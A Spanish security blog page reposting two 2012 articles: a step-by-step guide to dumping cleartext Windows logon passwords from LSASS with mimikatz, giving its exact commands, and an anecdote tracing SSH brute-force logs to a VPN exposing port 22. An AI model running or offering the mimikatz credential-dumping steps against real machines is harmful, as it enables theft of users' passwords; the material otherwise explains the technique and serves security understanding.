viernes, 10 de febrero de 2012

Obtener Contraseña Administrador de Windows desde Windows (Sin Hash NTML/LM)

Bueno, la verdad es que hace una semana que leí sobre está noticia en www.s21sec.com, la intenté poner a prueba, pero no me funcionó xP por falta de tiempo y paciencia, pero fue hace poco que en germanvasquez.wordpress.com explican un poco más detallado el uso de la herramienta en cuestión. Así que ahora entraré a explicar el tema.
Desde ya hace tiempo que la forma de obtener la contraseña de administrador de Windows desde Windows ha sido obteniendo un Hash encriptado en NTLM o LM desde el SAM remoto o local de Windows, una vez obtenido ese Hash hay que crackear la contraseñas por fuerza bruta mediante Rainbow Tables, lo que se demora mucho y se hace imposible si tiene más de 10 dígitos la  contraseña, por lo cual muchas veces se prefieres usar la técnica Pass the Hash que consiste en la posibilidad de autenticarse entre máquinas Windows sin necesidad de password, solamente con el Hash (No se preocupen si no entendieron, este es un mega resumen que da para escribir mucho más).
Ahora... Gracias a un investigador francés apodado "Gentil Kiwi" que ha descubierto una nueva técnica que consta de:

Dentro del LSA (Local Security Authority) de Windows existen dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible. Realmente no por un fallo inadvertido, si no porque estos módulos proveen autenticación a otros esquemas que necesitan conocer la contraseña, no sólo el hash.
Sin embargo, esto facitita a un atacante la posibilidad de recuperar las contraseñas en texto claro si dispone de permisos de debug sobre el proceso del LSASS (grupo de adminitradores), algo que podría haber conseguido previamente, por ejemplo, mediante la explotación previa de una vulnerabilidad de escalado privilegios (accediendo como SYSTEM).
 Pues bueno, ya mucho blah blah ahora manos a la obra:
1.- Nos descargamos la herramienta desarrollada por "Gentil Kiwi": mimikatz
2.- Abrimos el CMD con privilegios de administrador:


3.- Ejecutamos mimikatz.exe desde la consola que abrimos anteriormente.

4.- Ahora ejecutamos una serie de comandos que entro a explicar después de la imagen:


(1) Damos privilegios sobre el proceso lsass.exe
privilege::debug

(2) Inyectamos el proceso lsass.exe y la dll maliciosa sekurlsa.dll
inject::process lsass.exe sekurlsa.dll

(3) Obtenemos las contraseñas de Inicio de Sesión
@getLogonPasswords

(4) Es la contraseñas del usuario AADMIN, (5) La misma contraseña pero de otro inicio de sesión.
El método funciona en Windows XP, Vista y 7, en anteriores no sé. Yo creo que pronto será parchado, pero siempre se puede contar con que usen un SO desactualizado...

Fuentes y Referencias:

[+] Salu2
[+] Zion3R

Fuente:http://www.blackploit.com/2012/02/obtener-contrasena-administrador-de.html

El extraño caso del SSH y el ataque de fuerza bruta

Hace poco me pasó una anécdota curiosa que me gustaría compartir con vosotros. Intentaré narrarla de la forma mas fidedigna posible.

Suena el teléfono, es un cliente con el que tengo una de esas relaciones que van mas allá de lo profesional y 'hay confianza':

Cliente> Yago ! Me están atacando !

Yago> ¿? A ti o algún equipo tuyo ?

Cliente> Perdona, estoy un poco acelerado, he encontrado unos logs de lo mas extraños relacionados con intentos de acceso vía SSH

Yago> Si es un servidor de cara a internet, es lo más normal del mundo, deberías cambiar el puerto e instalar fail2ban

Cliente> No, no, es a un equipo con un Linux que uso para administrar máquinas que está tras un router ADSL

#Interesante

Yago> Bueno, mantén la calma, seguro que todo tiene una explicación, ¿podrías enviarme alguna traza del log?

Cliente> Claro, ya mismo

Me llega a mi correo lo siguiente:

Feb  1 22:25:34 localhost sshd[11740]: Failed password for root from 173.83.251.184 port 52597 ssh2
Feb  1 22:25:36 localhost sshd[11742]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=173.83.251.184  user=root
Feb  1 22:25:38 localhost sshd[11742]: Failed password for root from 173.83.251.184 port 53937 ssh2
Feb  1 22:25:41 localhost sshd[11744]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=173.83.251.184  user=root
Feb  1 22:25:43 localhost sshd[11744]: Failed password for root from 173.83.251.184 port 55240 ssh2

Y así, un buen número de líneas con diferentes IPs cuya procedencia geográfica variaba y era de lo más variopinta (turkia, china ...)

Claramente se trata de un ataque de fuerza bruta pero ¿Como podía estar ejecutándose?

Lo primero que me vino a la cabeza son dos hipótesis: O bien era alguien en la misma red (wifi, presumiblemente) o había un 'nat' que hacía visible el puerto.

Descarto el tema de la Wifi por las IPs, si hubiera sido por ahí serian 192.168.x.x

Vamos con el tema nat:

Yago> No tendrás mapeado el puerto 22 de tu router hacia dentro ¿no?

Cliente> No ! claro que no, ya había pensado en eso

Como dicen en Aragón: 'Aragonesico que no toca, no ve'

Yago> Bueno, ve a www.whatismyip.com y la IP que te dé me la envías que quiero hacer una prueba.

Ejecuto un nmap y nada, 0 puertos a la escucha.

El cliente me asegura que su máquina es un pc de sobremesa y por ende, 'no se ha movido', también me asegura solo se conecta vía cable y no tiene interface Wifi (eso descarta que se haya podido conectar a una red insegura de forma inadvertida ...)

Le tranquilizo y le pregunto si tiene activado el acceso vía ssh para el usuario root. Me confirma que no, no está. Le pregunto por la longitud y la complejidad de la contraseña y por lo que cuenta, parece difícil de romper. 

No obstante, le envío una serie de comandos grep para buscar si otros usuarios han sido atacados y si hubo un login positivo. No parece que haya habido compromiso en el sistema.

Dos días después vuelve a sonar el teléfono:

Cliente> Yago ! otra vez ! más intentos de acceso

Como esta persona no está excesivamente lejos decido desplazarme. Ya veré de que forma le hago entender el 'pedazo favor' que le estoy haciendo cuando toque hablar 'de otros proyectos'

Una vez in situ, reviso el router, efectivamente no tiene ningún puerto mapeado, vuelvo a leer los logs y veo que los patrones de acceso suelen ser por la noche.

Le cambio la IP a ese equipo por otra de la red interna y pongo otro PC con la IP anterior, en el que ejecuto un netcat a la escucha en el puerto 22

nc -l -p 22

Y me marcho.

A la mañana siguiente llamo y pregunto

Yago> ¿Que tal? hay alguna conexión en el netcat que dejé ayer ?

Cliente> No, está como lo dejaste, voy a ver en el otro PC

tras un rato ...

Cliente> Joder ! tengo más intentos de acceso !!

Yago> ¿Cooooooooomo? en el equipo donde cambié la IP ?

Cliente> Si ! ahí están

En este punto y ya con los esquemas totalmente por los suelos decido empezar a generar conversación intrascendente mientras intento que se me ocurra algo. Lo bueno de la informática es que siempre, SIEMPRE, las cosas tienen un motivo. No es como por ejemplo la medicina donde lo mismo un día te levantas con un misterioso dolor en la cadera y puedes pasar años escuchando 'no sabemos el motivo'

Después de haber hablado del tiempo, fútbol, política, etc ...

Yago> Se están poniendo feas las cosas con tanta SOPA/Sinde y demás ¿Eh?

Cliente> Si ! empieza a dar miedo navegar, yo estoy probando uno de esos servicios de VPN 'anonimizadores' cuando me pongo a bajar algo

¡Ding! Se me enciende la bombilla

Yago> Ehm, déjame hacer una prueba, conéctate a ese servicio de VPN

Cliente> ¿Ahora?

Yago> Si, dale

Cliente> Ok, ya está

Yago> Ve a www.whatismyip.com y me pegas la IP

Cliente> Toma xx.xx.xx.xx

telnet xx.xx.xx.xx 22

Connected to xx.xx.xx.xx.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.6

Misterio resuelto !

Resulta que esa persona, 'además de usar el equipo para administrar' también lo usaba para descargar cosas, accedía mediante la VPN y esta le daba una IP pública totalmente accesible sin las restricciones de su router ADSL

Lecciones aprendidas:

1- Desconfía de lo obvio, pese a que un escenario parezca claramente una cosa (pc de sobremesa, tras un router adsl, sin wifi) has de intentar despejar la mente y no caer en pensamientos del tipo ¡ Es imposible !, si hay un log que dice X, es X y es ahí donde hay que hacer 'foco'.

2- Fuera los remilgos. Probablemente si hubiera auditado el PC a fondo, revisado todos los logs y configuraciones, habría visto tanto las trazas de la conexión VPN, como los ficheros de configuración. En primera instancia me pareció demasiado intrusivo pedirle 'el root' y lanzarme a investigar y opté por no invadir su privacidad. Craso error
 
Fuente:http://www.securitybydefault.com/2012/02/el-extrano-caso-del-ssh-y-el-ataque-de.html